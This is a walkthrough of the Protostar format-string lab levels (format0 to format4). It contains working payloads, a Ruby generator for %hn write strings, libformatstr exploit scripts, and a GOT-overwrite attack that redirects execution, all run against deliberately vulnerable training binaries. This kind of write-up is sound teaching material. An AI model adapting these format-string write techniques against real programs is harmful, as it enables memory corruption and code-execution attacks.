Exploit-Exercises: Protostar (Format Levels)
Image: Exploit-Exercises: Protostar (v2)
Protostar Format0
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
void vuln(char *string)
{
volatile int target;
char buffer[64];
target = 0;
sprintf(buffer, string);
if(target == 0xdeadbeef) {
printf("you have hit the target correctly :)\n");
}
}
int main(int argc, char **argv)
{
vuln(argv[1]);
}
user@protostar:~$ gdb -q /opt/protostar/bin/format0
...
gdb> disassemble vuln
Dump of assembler code for function vuln:
0x080483f4 <vuln+0>: push ebp
0x080483f5 <vuln+1>: mov ebp,esp
0x080483f7 <vuln+3>: sub esp,0x68
0x080483fa <vuln+6>: mov DWORD PTR [ebp-0xc],0x0
0x08048401 <vuln+13>: mov eax,DWORD PTR [ebp+0x8]
0x08048404 <vuln+16>: mov DWORD PTR [esp+0x4],eax
0x08048408 <vuln+20>: lea eax,[ebp-0x4c]
0x0804840b <vuln+23>: mov DWORD PTR [esp],eax
0x0804840e <vuln+26>: call 0x8048300 <sprintf@plt>
0x08048413 <vuln+31>: mov eax,DWORD PTR [ebp-0xc]
0x08048416 <vuln+34>: cmp eax,0xdeadbeef
0x0804841b <vuln+39>: jne 0x8048429 <vuln+53>
0x0804841d <vuln+41>: mov DWORD PTR [esp],0x8048510
0x08048424 <vuln+48>: call 0x8048330 <puts@plt>
0x08048429 <vuln+53>: leave
0x0804842a <vuln+54>: ret
End of assembler dump.
gdb> b *0x08048413
Breakpoint 1 at 0x8048413: file format0/format0.c, line 15.
gdb> r Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
...
Breakpoint 1, vuln (string=0x41386341 <Address 0x41386341 out of bounds>) at format0/format0.c:15
15 in format0/format0.c
gdb> x /1xw $ebp-0xc
0xbffff6ec: 0x63413163
From the output above, we can see:
# addr of 'int target':
0x080483fa <vuln+6>: mov DWORD PTR [ebp-0xc],0x0
# addr of 'char *string':
0x08048401 <vuln+13>: mov eax,DWORD PTR [ebp+0x8]
0x08048404 <vuln+16>: mov DWORD PTR [esp+0x4],eax
# addr of 'char buffer[64]':
0x08048408 <vuln+20>: lea eax,[ebp-0x4c]
Because the pattern 0x63413163
means offset 64, we could trivially pass the
challenge by overflowing buffer
array, because int target
follows immediately
(0x4c - 64 = 0xc):
user@protostar:~$ /opt/protostar/bin/format0 $(ruby -e 'print "A" * 64 + [0xdeadbeef].pack("V")')
you have hit the target correctly :)
This level should be done in less than 10 bytes of input, so let’s try similar approach by overflowing the buffer using format string exploitation.
user@protostar:~$ /opt/protostar/bin/format0 $(ruby -e 'print "%64x" + [0xdeadbeef].pack("V")')
you have hit the target correctly :)
user@protostar:~$ ruby -e 'print "%64x" + [0xdeadbeef].pack("V")' > /tmp/payload
user@protostar:~$ wc -c /tmp/payload
8 /tmp/payload
user@protostar:~$ /opt/protostar/bin/format0 $(cat /tmp/payload)
you have hit the target correctly :)
Protostar Format1
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int target;
void vuln(char *string)
{
printf(string);
if(target) {
printf("you have modified the target :)\n");
}
}
int main(int argc, char **argv)
{
vuln(argv[1]);
}
We want to write something to global variable target
, stored in bss
section. It has fixed address:
user@protostar:~$ objdump -t /opt/protostar/bin/format1 | grep target
08049638 g O .bss 00000004 target
user@protostar:~$ nm /opt/protostar/bin/format1 | grep target
08049638 B target
To find the DDDD = 0x44444444
on the stack, after a few tries we have:
user@protostar:~$ /opt/protostar/bin/format1 "$(ruby -e 'print "DDDD" + " %p" * 200')"
DDDD 0x804960c 0xbffff528 0x8048469 0xb7fd8304 0xb7fd7ff4 0xbffff528 0x8048435 0xbffff718 0xb7ff1040 0x804845b 0xb7fd7ff4 0x8048450 (nil) 0xbffff5a8 0xb7eadc76 0x2 0xbffff5d4 0xbffff5e0 0xb7fe1848 0xbffff590 0xffffffff 0xb7ffeff4 0x804824d 0x1 0xbffff590 0xb7ff0626 0xb7fffab0 0xb7fe1b28 0xb7fd7ff4 (nil) (nil) 0xbffff5a8 0xcec48558 0xe4969348 (nil) (nil) (nil) 0x2 0x8048340 (nil) 0xb7ff6210 0xb7eadb9b 0xb7ffeff4 0x2 0x8048340 (nil) 0x8048361 0x804841c 0x2 0xbffff5d4 0x8048450 0x8048440 0xb7ff1040 0xbffff5cc 0xb7fff8f8 0x2 0xbffff6fd 0xbffff718 (nil) 0xbffff975 0xbffff983 0xbffff997 0xbffff9b8 0xbffff9cb 0xbffff9de 0xbffff9e8 0xbffffed8 0xbfffff16 0xbfffff2a 0xbfffff39 0xbfffff4a 0xbfffff52 0xbfffff62 0xbfffff6f 0xbfffffa3 0xbfffffb2 0xbfffffcf (nil) 0x20 0xb7fe2414 0x21 0xb7fe2000 0x10 0xfabfbff 0x6 0x1000 0x11 0x64 0x3 0x8048034 0x4 0x20 0x5 0x7 0x7 0xb7fe3000 0x8 (nil) 0x9 0x8048340 0xb 0x3e9 0xc (nil) 0xd 0x3e9 0xe 0x3e9 0x17 0x1 0x19 0xbffff6db 0x1f 0xbfffffe1 0xf 0xbffff6eb (nil) (nil) (nil) (nil) (nil) 0xd4000000 0x72facad1 0x50139897 0x39f1f921 0x695501e9 0x363836 (nil) (nil) (nil) 0x706f2f00 0x72702f74 0x736f746f 0x2f726174 0x2f6e6962 0x6d726f66 0x317461 0x44444444 0x20702520 0x25207025 0x70252070 0x20702520 0x25207025 0x70252070 0x20702520 0x25207025 0x70252070 0x20702520 0x25207025 0x70252070 0x20702520 0x25207025 0x70252070 0x20702520 0x25207025 0x70252070 0x20702520 0x25207025 0x70252070 0x20702520 0x25207025 0x70252070 0x20702520 0x25207025 0x70252070 0x20702520 0x25207025 0x70252070 0x20702520 0x25207025 0x70252070 0x20702520 0x25207025 0x70252070 0x20702520 0x25207025 0x70252070 0x20702520 0x25207025 0x70252070 0x20702520 0x25207025 0x70252070 0x20702520 0x25207025 0x70252070 0x20702520 0x25207025 0x70252070 0x20702520 0x25207025 0x70252070 0x20702520 0x25207025 0x70252070 0x20702520 0x25207025 0x70252070 0x20702520 0x25207025
user@protostar:~$ /opt/protostar/bin/format1 "$(ruby -e 'print "DDDD" + " %p" * 140')"
DDDD 0x804960c 0xbffff5e8 0x8048469 0xb7fd8304 0xb7fd7ff4 0xbffff5e8 0x8048435 0xbffff7cc 0xb7ff1040 0x804845b 0xb7fd7ff4 0x8048450 (nil) 0xbffff668 0xb7eadc76 0x2 0xbffff694 0xbffff6a0 0xb7fe1848 0xbffff650 0xffffffff 0xb7ffeff4 0x804824d 0x1 0xbffff650 0xb7ff0626 0xb7fffab0 0xb7fe1b28 0xb7fd7ff4 (nil) (nil) 0xbffff668 0x9cacbe0e 0xb6ff281e (nil) (nil) (nil) 0x2 0x8048340 (nil) 0xb7ff6210 0xb7eadb9b 0xb7ffeff4 0x2 0x8048340 (nil) 0x8048361 0x804841c 0x2 0xbffff694 0x8048450 0x8048440 0xb7ff1040 0xbffff68c 0xb7fff8f8 0x2 0xbffff7b1 0xbffff7cc (nil) 0xbffff975 0xbffff983 0xbffff997 0xbffff9b8 0xbffff9cb 0xbffff9de 0xbffff9e8 0xbffffed8 0xbfffff16 0xbfffff2a 0xbfffff39 0xbfffff4a 0xbfffff52 0xbfffff62 0xbfffff6f 0xbfffffa3 0xbfffffb2 0xbfffffcf (nil) 0x20 0xb7fe2414 0x21 0xb7fe2000 0x10 0xfabfbff 0x6 0x1000 0x11 0x64 0x3 0x8048034 0x4 0x20 0x5 0x7 0x7 0xb7fe3000 0x8 (nil) 0x9 0x8048340 0xb 0x3e9 0xc (nil) 0xd 0x3e9 0xe 0x3e9 0x17 0x1 0x19 0xbffff79b 0x1f 0xbfffffe1 0xf 0xbffff7ab (nil) (nil) (nil) (nil) (nil) 0xd3000000 0xaf79b817 0x53b8b1a3 0x6ce5252 0x69b1ee44 0x363836 0x706f2f00 0x72702f74 0x736f746f 0x2f726174 0x2f6e6962 0x6d726f66 0x317461 0x44444444 0x20702520 0x25207025 0x70252070 0x20702520 0x25207025
user@protostar:~$ /opt/protostar/bin/format1 "DDDD %140\$x"
DDDD 78243034
user@protostar:~$ /opt/protostar/bin/format1 "DDDD %139\$x"
DDDD 31252044
user@protostar:~$ /opt/protostar/bin/format1 "DDDD %138\$x"
DDDD 44444400
user@protostar:~$ /opt/protostar/bin/format1 "DDDD %138\$x"
DDDD 44444444
user@protostar:~$ /opt/protostar/bin/format1 "$(ruby -e 'print "DDDD %138\$x"')"
DDDD 44444444
user@protostar:~$ /opt/protostar/bin/format1 "$(ruby -e 'print [0x44444444].pack("V") + " %138\$x"')"
DDDD 44444444
user@protostar:~$ /opt/protostar/bin/format1 "$(ruby -e 'print [0x08049638].pack("V") + " %138\$x"')"
8 8049638
user@protostar:~$ /opt/protostar/bin/format1 "$(ruby -e 'print [0x08049638].pack("V") + " %138\$n"')"
8 you have modified the target :)
Protostar Format2
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int target;
void vuln()
{
char buffer[512];
fgets(buffer, sizeof(buffer), stdin);
printf(buffer);
if(target == 64) {
printf("you have modified the target :)\n");
} else {
printf("target is %d :(\n", target);
}
}
int main(int argc, char **argv)
{
vuln();
}
user@protostar:~$ ruby -e 'print "DDDD" + " %p" * 10' | /opt/protostar/bin/format2
DDDD 0x200 0xb7fd8420 0xbffff5d4 0x44444444 0x20702520 0x25207025 0x70252070 0x20702520 0x25207025 0x70252070target is 0 :(
user@protostar:~$ ruby -e 'print "DDDD %4\$p"' | /opt/protostar/bin/format2
DDDD 0x44444444target is 0 :(
user@protostar:~$ nm /opt/protostar/bin/format2 | grep target
080496e4 B target
user@protostar:~$ ruby -e 'print [0x080496e4].pack("V") + " %4\$p"' | /opt/protostar/bin/format2
0x80496e4target is 0 :(
user@protostar:~$ ruby -e 'print [0x080496e4].pack("V") + " %4\$n"' | /opt/protostar/bin/format2
target is 5 :(
user@protostar:~$ ruby -e 'print [0x080496e4].pack("V") + " %4\$x %4\$n"' | /opt/protostar/bin/format2
80496e4 target is 13 :(
user@protostar:~$ ruby -e 'print [0x080496e4].pack("V") + " %4\$61x %4\$n"' | /opt/protostar/bin/format2
80496e4 target is 67 :(
user@protostar:~$ ruby -e 'print [0x080496e4].pack("V") + " %4\$58x %4\$n"' | /opt/protostar/bin/format2
80496e4 you have modified the target :)
Protostar Format3
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int target;
void printbuffer(char *string)
{
printf(string);
}
void vuln()
{
char buffer[512];
fgets(buffer, sizeof(buffer), stdin);
printbuffer(buffer);
if(target == 0x01025544) {
printf("you have modified the target :)\n");
} else {
printf("target is %08x :(\n", target);
}
}
int main(int argc, char **argv)
{
vuln();
}
user@protostar:~$ ruby -e 'print "DDDD" + " %p" * 25' | /opt/protostar/bin/format3
DDDD (nil) 0xbffff590 0xb7fd7ff4 (nil) (nil) 0xbffff798 0x804849d 0xbffff590 0x200 0xb7fd8420 0xbffff5d4 0x44444444 0x20702520 0x25207025 0x70252070 0x20702520 0x25207025 0x70252070 0x20702520 0x25207025 0x70252070 0x20702520 0x25207025 0x70252070 0x20702520target is 00000000 :(
user@protostar:~$ ruby -e 'print "DDDD %12\$p"' | /opt/protostar/bin/format3
DDDD 0x44444444target is 00000000 :(
user@protostar:~$ nm /opt/protostar/bin/format3 | grep target
080496f4 B target
We need to rewrite the address at 0x080496f4
with the value 0x01025544
. For this purpose we prepare simple ruby script to calculate the exact format string:
#!/usr/bin/env ruby
def check_param(fmt)
return if fmt =~ /\d+:0x\h+:0x\h+/
puts "syntax: #{$0} <position:target_address:shellcode_address>"
exit
end
fmt = ARGV[0]
check_param(fmt)
offset, target_addr, shellcode_addr = fmt.split(":")
# get high / low ordered bytes, remove 0x prefix
hob = shellcode_addr[2,4].to_i(16)
lob = shellcode_addr[6,4].to_i(16)
addr = target_addr[2,8]
o = offset.to_i
a = []
if (hob > lob)
f = lob - 8; s = hob - lob; a << addr; a << "%08x" % (addr.to_i(16)+2)
else
f = hob - 8; s = lob - hob; a << "%08x" % (addr.to_i(16)+2); a << addr
end
puts "ruby -e 'print [0x#{a[0]}].pack(\"V\") + [0x#{a[1]}].pack(\"V\") + \"%#{o}\\$#{f}x%#{o}\\$hn%#{o+1}\\$#{s}x%#{o+1}\\$hn\"'"
user@protostar:~$ ruby1.9.1 ./formatter.rb 12:0x080496f4:0x01025544
ruby -e 'print [0x080496f6].pack("V") + [0x080496f4].pack("V") + "%12\$250x%12\$hn%13\$21570x%13\$hn"'
user@protostar:~$ ruby -e 'print [0x080496f6].pack("V") + [0x080496f4].pack("V") + "%12\$250x%12\$hn%13\$21570x%13\$hn"' | /opt/protostar/bin/format3
...
80496f4you have modified the target :)
The challenge could be also solved with hellman’s libformatstr.py.
user@protostar:~$ git clone https://github.com/hellman/libformatstr
Cloning into libformatstr...
remote: Counting objects: 51, done.
remote: Total 51 (delta 0), reused 0 (delta 0), pack-reused 51
Unpacking objects: 100% (51/51), done.
user@protostar:~$ cd libformatstr/
#!/usr/bin/env python
import sys
from libformatstr import FormatStr
destination = 0x080496f4
what_to_write = 0x01025544
p = FormatStr()
p[destination] = what_to_write
# buf is 12th argument, 0 bytes are already printed
sys.stdout.write(p.payload(12, start_len=0))
user@protostar:~/libformatstr$ python ./exploit-format3.py | /opt/protostar/bin/format3
...
p??you have modified the target :)
Protostar Format4
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int target;
void hello()
{
printf("code execution redirected! you win\n");
_exit(1);
}
void vuln()
{
char buffer[512];
fgets(buffer, sizeof(buffer), stdin);
printf(buffer);
exit(1);
}
int main(int argc, char **argv)
{
vuln();
}
user@protostar:~$ ruby -e 'print "DDDD" + " %p" * 25' | /opt/protostar/bin/format4
DDDD 0x200 0xb7fd8420 0xbffff5b4 0x44444444 0x20702520 0x25207025 0x70252070 0x20702520 0x25207025 0x70252070 0x20702520 0x25207025 0x70252070 0x20702520 0x25207025 0x70252070 0x20702520 0x25207025 0x70252070 0x20702520 0x25207025 0x70252070 0x702520 0x1000 0x1
user@protostar:~$ ruby -e 'print "DDDD %4\$p"' | /opt/protostar/bin/format4
DDDD 0x44444444
user@protostar:~$ objdump -TR /opt/protostar/bin/format4
/opt/protostar/bin/format4: file format elf32-i386
DYNAMIC SYMBOL TABLE:
00000000 w D *UND* 00000000 __gmon_start__
00000000 DF *UND* 00000000 GLIBC_2.0 fgets
00000000 DF *UND* 00000000 GLIBC_2.0 __libc_start_main
00000000 DF *UND* 00000000 GLIBC_2.0 _exit
00000000 DF *UND* 00000000 GLIBC_2.0 printf
00000000 DF *UND* 00000000 GLIBC_2.0 puts
00000000 DF *UND* 00000000 GLIBC_2.0 exit
080485ec g DO .rodata 00000004 Base _IO_stdin_used
08049730 g DO .bss 00000004 GLIBC_2.0 stdin
DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
080496fc R_386_GLOB_DAT __gmon_start__
08049730 R_386_COPY stdin
0804970c R_386_JUMP_SLOT __gmon_start__
08049710 R_386_JUMP_SLOT fgets
08049714 R_386_JUMP_SLOT __libc_start_main
08049718 R_386_JUMP_SLOT _exit
0804971c R_386_JUMP_SLOT printf
08049720 R_386_JUMP_SLOT puts
08049724 R_386_JUMP_SLOT exit
user@protostar:~$ objdump -d -j .plt /opt/protostar/bin/format4
/opt/protostar/bin/format4: file format elf32-i386
Disassembly of section .plt:
0804837c <__gmon_start__@plt-0x10>:
804837c: ff 35 04 97 04 08 pushl 0x8049704
8048382: ff 25 08 97 04 08 jmp *0x8049708
8048388: 00 00 add %al,(%eax)
...
0804838c <__gmon_start__@plt>:
804838c: ff 25 0c 97 04 08 jmp *0x804970c
8048392: 68 00 00 00 00 push $0x0
8048397: e9 e0 ff ff ff jmp 804837c <_init+0x30>
0804839c <fgets@plt>:
804839c: ff 25 10 97 04 08 jmp *0x8049710
80483a2: 68 08 00 00 00 push $0x8
80483a7: e9 d0 ff ff ff jmp 804837c <_init+0x30>
080483ac <__libc_start_main@plt>:
80483ac: ff 25 14 97 04 08 jmp *0x8049714
80483b2: 68 10 00 00 00 push $0x10
80483b7: e9 c0 ff ff ff jmp 804837c <_init+0x30>
080483bc <_exit@plt>:
80483bc: ff 25 18 97 04 08 jmp *0x8049718
80483c2: 68 18 00 00 00 push $0x18
80483c7: e9 b0 ff ff ff jmp 804837c <_init+0x30>
080483cc <printf@plt>:
80483cc: ff 25 1c 97 04 08 jmp *0x804971c
80483d2: 68 20 00 00 00 push $0x20
80483d7: e9 a0 ff ff ff jmp 804837c <_init+0x30>
080483dc <puts@plt>:
80483dc: ff 25 20 97 04 08 jmp *0x8049720
80483e2: 68 28 00 00 00 push $0x28
80483e7: e9 90 ff ff ff jmp 804837c <_init+0x30>
080483ec <exit@plt>:
80483ec: ff 25 24 97 04 08 jmp *0x8049724
80483f2: 68 30 00 00 00 push $0x30
80483f7: e9 80 ff ff ff jmp 804837c <_init+0x30>
user@protostar:~$ nm /opt/protostar/bin/format4 | grep hello
080484b4 T hello
Using Global Offset Table Hijacking
technique, we will try to overwrite the 0x08049724
address - jmp in exit()
, with 0x080484b4
- symbol hello
, at offset 4
.
user@protostar:~$ ruby1.9.1 ./formatter.rb 4:0x08049724:0x080484b4
ruby -e 'print [0x08049726].pack("V") + [0x08049724].pack("V") + "%4\$2044x%4\$hn%5\$31920x%5\$hn"'
user@protostar:~$ ruby -e 'print [0x08049726].pack("V") + [0x08049724].pack("V") + "%4\$2044x%4\$hn%5\$31920x%5\$hn"' | /opt/protostar/bin/format4
...
8049724code execution redirected! you win
Correspondingly:
#!/usr/bin/env python
import sys
from libformatstr import FormatStr
destination = 0x08049724
what_to_write = 0x080484b4
p = FormatStr()
p[destination] = what_to_write
# buf is 4th argument, 0 bytes are already printed
sys.stdout.write(p.payload(4, start_len=0))
user@protostar:~$ libformatstr/exploit-format4.py | /opt/protostar/bin/format4
...
AAA&$code execution redirected! you win